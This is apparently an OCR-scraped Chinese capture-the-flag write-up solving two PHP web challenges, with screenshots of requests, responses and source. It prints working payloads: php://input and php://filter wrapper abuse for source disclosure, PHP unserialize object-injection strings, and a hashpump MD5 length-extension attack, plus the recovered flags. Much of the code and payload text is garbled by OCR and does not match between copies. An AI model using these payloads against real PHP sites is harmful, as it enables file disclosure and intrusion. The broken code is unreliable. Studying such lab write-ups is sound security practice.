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parseHash

$_GET[
$ GET[
$ GET[
if(isset($sz_txt)&&(file_get contents($sz_txt, )
echo .file get contents($sz_txt, ).

if(preg_match( ,$sz_file)){

echo
exit();
}else{
include($sz_file);
$password unserialize($password);
echo $password;
}
else{
highlight file(__ FILE_ );

$sz_txt i data:// B php://input DI, ¥EFE $sz_file [ php://Filter PSR EIRAS B AT

?sz_txt=data:text/plain,welcome to jxsz&sz_ file=php://filter/read=convert.base64-encode/resource=useless.php
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welcome to jxsz

PD9waHAgIA0KY2xhe3MgRmxhZ3sgIAogICAgcHVIbGICRmaWxIOyAgCIAgICBwdWIsaWMgZnVuY3Rpb24gX 190b3N0cmluZygpeyAgCiAgICAZICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAZICAGICAEICBIY2hvIGZpt

HackBar

] EditTr

Contribute now! HackBar v2
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Encryption ~  Encoding ~ SQL ~ XSS~ Other ~
@ Lead URL hitp://124.71.149.53:8089/?sz_b=datatext/plain.welcome to jxsz&sz_file=php://filter/read=convert base64-encode/resource=useless.php
B seiturL
Execut
E— [ Postdata [ Referer [ UserAgent [ Cookies  Clear All
Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | Render

POST
/?sz_txt=php://input8sz_file=php:/filter/read=convertbaset4-encode/resource=
useless.php HTTR/1.1

Host: 124.71.149.53:8089

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; nv:80.0) Gecko/20100101
Firefox/80.0

Accept:

text/html,application/xhtml +xml,application/xml;q=0.9,image/webp,*/*:q=0.8
Accept-Language:
zh-CN,zh;g=0.8,zh-TW;q=0.7,zh-HK;g=05,en-US;g=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 15

Crigin: http://124.71.149.53:8089

Connection: close

Referer:

http://124.71.149.53:8089/?sz txt=php://input&sz file=phpy//filter/read=convertb
asebd-encode/resource=useless.php

Upgrade-Insecure-Requests: 1

welcome to jxsz

base64f#iL15 % useless.php JEFY

<?php

class Flag{
public $file;
public function _ tostring(){

if(isset($this->file)){

echo file_get contents($this

file);
echo ;
return ( );

1
J

e

HTTP/1.1 200 OK

Date: Mon, 07 Sep 2020 09:29:55 GMT
Server: Apache/24.25 (Debian)
X-Powered-By: PHP/5.6.40

Vary: Accept-Encoding
Content-Length: 377

Connection: close

Content-Type: text/html; charset=UTF-8

<br=<h1>welcome to
jxsz</h1></br>PD9waHAglAoKY2xhc3MgRmxhZ3sglAogl CAgcHVibGljl CRmaWxI0OyAgC
iAgICBwdWJsaWMgZnVuY3Rpb249X190b3N0ocmluZygpeyAgCiAgl CAgl CAgaWY oaXNz
ZXQoJHRoaXMtPmZpbhGUpKXsglAogl CAglCAgl CAglCBIY 2hviGZpbGVfZ2V0OX2NvbnRIb
nRzKCROaGIzLT5maWxIKTsgCiA gl CA gl CAglCAglGVjaG8gljxic4iOwogl CAglCAgIHJIdHV
ybiAolINvIGNvb2wsY29udGludWUgcGx6lik7 CiA gl CAgl CAgfSAgCiA gl CBOICAKFSA gCj8 +
ICAK
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public $file 5

public function _ tostring(){

if(isset($this->file)){
echo file get contents($this

echo ;

return ( )

1
J

$res new Flag();
echo serialize($res);

?>

sers\Admi trator\Desktop> php .\test.php
:1:{s:4: ;5:8: 5+

IMPOSTH, BHGETSH: ?sz_txt=php://input&sz_file=useless.php&password=0:4:"Flag":1:
{s:4:"file";s:8:"flag.php";?}

POSTHZ&AN: welcome to jxsz

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | Render ]
POST : HTTP/1.1 200 K
[?sz_txt=phpy//inputdsz_file=useless.php&password=04:"Flag"1:{s:4:"file"s:8:"fla Date: Mon, 07 Sep 2020 09:42:21 GMT
gphp™ HTTP/1.1 Server: Apache/2.4.25 (Debian)
Host: 124.71.149.53:8089 X-Powered-By: PHP/5.6.40
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; n:80.0) Gecko/20100101 Vary: Accept-Encoding
Firefox/80.0 Content-Length: 202
Accept: Connection: close
text/html,application /xhtml+xml,application/xml;g=0.9,image,/webp,*/*q=0.8 Content-Type: text/html; charset=UTF-8
Accept-Language:
zh-CN,zh;g=0.8,zh-TW;q=0.7,zh-HK;q=05,en-US;q=03,en;g=0.2 <br=<h1>welcome to jxsz</h1></br>
Accept-Encoding: gzip, deflate <br=oh u find it </br>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15 <l--buti cant give it to u now-->
Origin: httpy//12471.14953:8089
Connection: close <?php
Referer:
http://124.71.149.53:8089/7sz_txt=phpy/finputdsz_file=php://filter/read=convertb if(2===3){
asebd-encode/resource=uselessphp return ("flag{4a5a802f-6a37-44d4-8a49-e9066dfda474}")
Upgrade-Insecure-Requests: 1 }
welcome to jxsz 7>

<br=So cool,continue plz

flag{4a5a802f-6a37-44d4-8a49-e9066dfd6474}
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public $aa;
public $bb;
public $username;
public $password;
public function _ construct($key
$this->username 5
$this->password 5
if(strlen($key)==16&&md5($key . urldecode( $this->username . $this->password)
A

echo

public function _ destruct(){
$this->aa (string)$this->aa;
if(strlen($this->aa) 5 strlen($this 5| |preg_match( , $this->aa)){
die( )5
)i
if($this->aa $this->bb md5($this->aa) md5($this->bb) $this->aa $this->bb){
echo file_get_contents( );

highlight_file(__FILE_ );

$person=new person($key);

$other_pwd=$_POST[ 1;

$other_hash=$ POST[ 15

if(md5($key . urldecode( . $other_pwd))==%other_hash&&strpos(urldecode($other_pwd),
echo 5
unserialize($_GET[ 1);

[E 225 @ easytrick B, XEEERRZ hashiBBWTd: + phpIEERBLES + phpE AEERESGT

hash#f J& B

$this->username

$this->password

strlen($key)==16

md5 ($key.urldecode($this->username.$this->password))
strlen($key) + strlen( ) 20

e JE— AN EANTFRR P RER “szxy666”FAF, I HAREBAET K

{# A hash#f R B T A hashpump B4

hashpump T A #hitik: https:/github.com/bwall/HashPump

File Edit View Bookmarks Settings Help

hashpump
Input Signature: all33ca71ed6320a0255b@d53188be57
Input Data: jxsz
Input Key Length: 20
Input Data to Add: szxy666
ec789edf786174babd157da5492e1850
Fxsz\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00'\ x00\x00\x00\ x00\x00\x00\x00\ x00\x00\x00\ x00'\ x00\x00\x00\ x00\ x00\x00\x00\x00\x00\xc0\x00\ x00'\x00\x00\x00\ x00\x005ZXY666

https:/iblog.csdn.net/mochu7777777



https://github.com/bwall/HashPump

ec789edf786174babd157da5492e1850
jxsz\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\Xx00

\ X000\ x00\x00\x00\x00\xcO\x00\x00\x00\x00\x00\x00\x00szxXy666

# \xe0 B A %00 fENEITH], mMINGETHAT R 66666666666

pwd1=7jxsz%80%00%007%00%007%007%007%007%007%007%00%007007%007%007%007%007%00%007%00%007%007%007%007%007%007%00%007%00%007%00%007%C0%00%

00%00%007%00%00%00szxy666&hash_code=ec789edf786174babd157da5492e1850

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
POST /fHTTR/11 : style="color: #0000BB ">$key</span > <span style="color: #007700">); <br :
Host: 124.71.149.53:8090 /=< fspan><span style="color: #0000BB">$other pwd</span><span style="color:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; nv:80.0) Gecko/20100101 #007700">=</span><span style="color: #0000BB">3$_POST</span><span
Firefox/80.0 style="color: #007700"> [</span > <span style="color:
Accept: text/html,application /xhtml +xml,application Aanl;q=0.9,image/webp,*/*q=0.8 #DD0000"> "pwd1 " </span><span style="color: #007700">T; <br /> </span > <span
Accept-Language: zh-CN,zh;q=0.8,zh-TW:q=0.7,zh-HK;q=0.5,en-US;q=03,en;q=0.2 style="color: #0000BB">$other_hash</span><span style="color:
Accept-Encoding: gzip, deflate #007700">=</span><span style="color: #0000BB">$ POST</span><span
Content-Type: application/x-www-form-urlencoded style="color: #007700"> [</span><span style="color:
Content-Length: 179 #DD0000™> "hash_code™</span><span style="color: #007700">];<br
Origin: httpy//124.71.14953:8090 [>if(</span=><span style="color: #0000BB">md5 </span > <span style="color:
Connection: close #007700">(</span > <span style="color: #00008BB "> jkey&nbsp; </span > <span
Referer: hitp://124.71.149.53:8090/ style="color: #007700"> .&nbsp; </span > <span style="color:
Upgrade-Insecure-Requests: 1 #0000BB">urldecode</span><span style="color: #007700">(</span><span
style="color: #DD0000"> "jxsz"&nbsp; </span » <span style="color:
pwd1=]x5z%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00% #007700">.&nbsp; </span> <span style="color: #0000BB "> $other_pwd</span> <span
00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00 style="color: #007700">))==</span > <span style="color:
%005m666&ha5h_code:ecTSQedﬁ'SG'IMbabdﬂ5?daS492e18[50 #0000BE "> $other_hash</span><span style="color:
#007700">&amp;&amp; </span><span style="color:
#0000BB">strpos</span><span style="color: #007700">(</span > <span style="color:
#0000BB "> urldecode</span > <span style="color: #007700">(</span> <span
style="color: #0000BB">$other_pwd</span><span style="color:
#007700"=),</span><span style="color: #DD0000"> "szxy666 ™ < /span > <span
style="color: #007700">)&gt </span > <span style="color: #0000BB">0+</span > <span
style="color: #007700">){<br
/> &nbsp; &nbsp; &nbsp;8nbsp;echo8nbsp; </span > <span style="color:
#DD0000"> "66666666666"</span><span style="color: #007700">;<br
/> &nbsp; &nbsp; &nbsp;&nbsp; </span > <span style="colar: D
#0000BB "> unserialize</span > <span style="color: #007700">(</span > <span
style="color: #0000BB">$_GET</span><span style="color: #007700"> [</span><span
style="color: #DD0000">"s2 sz.s2'</span > <span style="color: #007700">]); <br
[>}</span>
</span>
L </code>Welcomebb6666666666 ‘L/
v v
@ uJ u liJ Type a search term 0 matches @ uJ u liJ Type a search term 0 matches

REFFILI GET Y4 b & B TR .

X BARYEphpxt JEvEL S A AL EHLE]: hitps://github.com/php/php-
src/commit//ffc4d462e947828fdbeac6020ac8f34704a2188347
branch=fc4d462e947828fdbeac6020ac8f34704a218834&diff=unified


https://github.com/php/php-src/commit//fc4d462e947828fdbeac6020ac8f34704a218834?branch=fc4d462e947828fdbeac6020ac8f34704a218834&diff=unified

AR BLAL B ] th xS 4 p B ARE T . R BB —K

v 8 EEEE" main/php_varisbles.c [0

ip = strchr(ip, '1');

if (tip) {

/* PHP wariables cannot contain "[* in their names, so we replace the character with a "_" =/
+ /# not an index; un-terminate the war name */

*(index_s - 1) = '_';
+ * PHP variables cannot contain " *, '.', '[' in their names, so we replace the characters with a '_' =/
+ for (p = index_s; *p; p++) {
- N R N I R O
+ *}="_"
& I
+

index_len = @;
if (index) {

ML X BB E WREH sz_sz.sz A TEHIE . i _, MARBR—IKKCEES], EASELLEN sz[sz.52 BITF]

<?php

highlight file( FILE };
S$sz=5 GET['sz sz.sz'];
echo 5=3z;

var dump($ GET);

7> mOclnu7
D:\phpstudy pro\WWW.test.php:5:

array (size=1)
'sz sz.sz' => string 'mlclnu7' (length=7)

(I etmee O u ORE

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~

& Load URL http://127.0.0.1/test php/?sz[sz sz=m0cinu7

gg Split URL

| » ) Execute

[] Postdata [] Referer [] User Agent [] Cookies

BETRMAEEENBEHE easytrick Bk, RAXETIET Nan f INF B50E 5, EEERATUUMERE SEERESTE, F
F4kpoctn F -

<?php

class person{
public $aa;
public $bb;

new person();
EE] 0.8 7;
bb 7 0.8;

echo serialize($res);

;d:5.6000000000000005;5:2: ;d:5.6000000000000005 ; }




payload

sz[sz.5z2=0:6 2:{s:2 d:5.6000000000000005;s : 2 d:5.6000000000000005
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
POST _A /=< /span=<span style="color: #0000BB "> $other pwd</span=><span style="color:
f1sz[sz.52=0:6:"person ":2:s:2:"aa",d:5.6000000000000005;5:2:"bb";d:5.6000000000000005; #007700">=</span=<span style="color: #0000BB">3_POST</span><span
FHTTR/AA style="color: #007700"> [</span > <span style="color:
Host: 124.71.149.53:8090 #DD0000" > "pwd1™</span><span style="color: #007700">];<br /> </span = <span
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 style="color: #0000BB ">3other hash</span><span style="color:
Firefox/80.0 #007700"> = </span=<span style="color: #0000BB">$_POST</span><span
Accept: text/html,application /xhtml +xml,application/xml;g=0.9,image/webp,*/*,g=08 style="color: #007700"> [</span > <span style="color:
Accept-Language: zh-CN,zh;q=0.8zh-TW;q=0.7,zh-HK;g=05,en-US;g=0.3,en;q=0.2 #DD0000">"hash_code™</span> <span style="color: #007700">];<br
Accept-Encoding: gzip, deflate J=if(</span> <span style="color: #0000BB ">md5 </span > <span style="calor:
Content-Type: application/x-www-form-urlencoded #007700">(</span > <span style="color: #0000BB "> $key8nbsp; </span > <span
Content-Length: 179 style="color: #007700" > .8nbsp; </span > <span style="color:
Origin: httpy//124.71.149.53:8090 #0000BB">urldecode</span> <span style="color: #007700" > (</span > <span
Connection: close style="color: #DD0000"> "jxsz”&nbsp; </span><span style="color:
Referer: http://124.71.149.53:8090/ #007700">.&nbsp; </span > <span style="color: #0000BB "> $other pwd</span><span
Upgrade-Insecure-Requests: 1 style="color: #007700">))= = </span> <span style="color:
#0000BE">Jother_hash</span=<span style="color:
pwd1 =)x5z%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%:00% #007700">&amp; &amp;</span ><span style="color:
009%600%600%00%00%00%00%00%00%00%00%00%00%00%c0%600%00%00%00%00%00 #0000BB" > strpos</span > <span style="color: #007700">(</span> <span style="color:
%00smxybbb6&hash code=ec789edf7867174babd157da5482e1850 #0000BB">urldecode</span><span style="color: #007700" > (</span > <span
style="color: #0000BB ">3other_pwd</span><span style="color:
#007700">), </span><span style="color: #DD0000"> "szxy666 " </span > <span
style="color: #007700">)&gt; </span = <span style="color: #0000BE "> 0</span > <span
style="color: #007700">){<br
/> 8nbsp; &8nbsp; &nbsp; 8nbsp;echo8nbsp; < /span > <span style="color:
#DD0000">"66666666666"</span><span style="color: #007700">;<br
/> 8nbsp; &nbsp; &nbsp; &nbsp; </span > <span style="color:
#0000BB">unserialize </span > <span style="color: #007700" > (</span > <span
style="color: #0000BB">3% GET</span=><span style="color: #007700"> [¢/span > <span
style="color: #DD0000">"sz_sz.sz' </span > <span style="color: #007700">]); <br
JS=l</span>
</span>
</code>Welcomeb66666666666flag{4ala802f-6b37-44c4-8b49-e9066ddd6474}
=5
v

3
v

flag{4ala802f-6b37-44c4-8b49-e9066ddd6474
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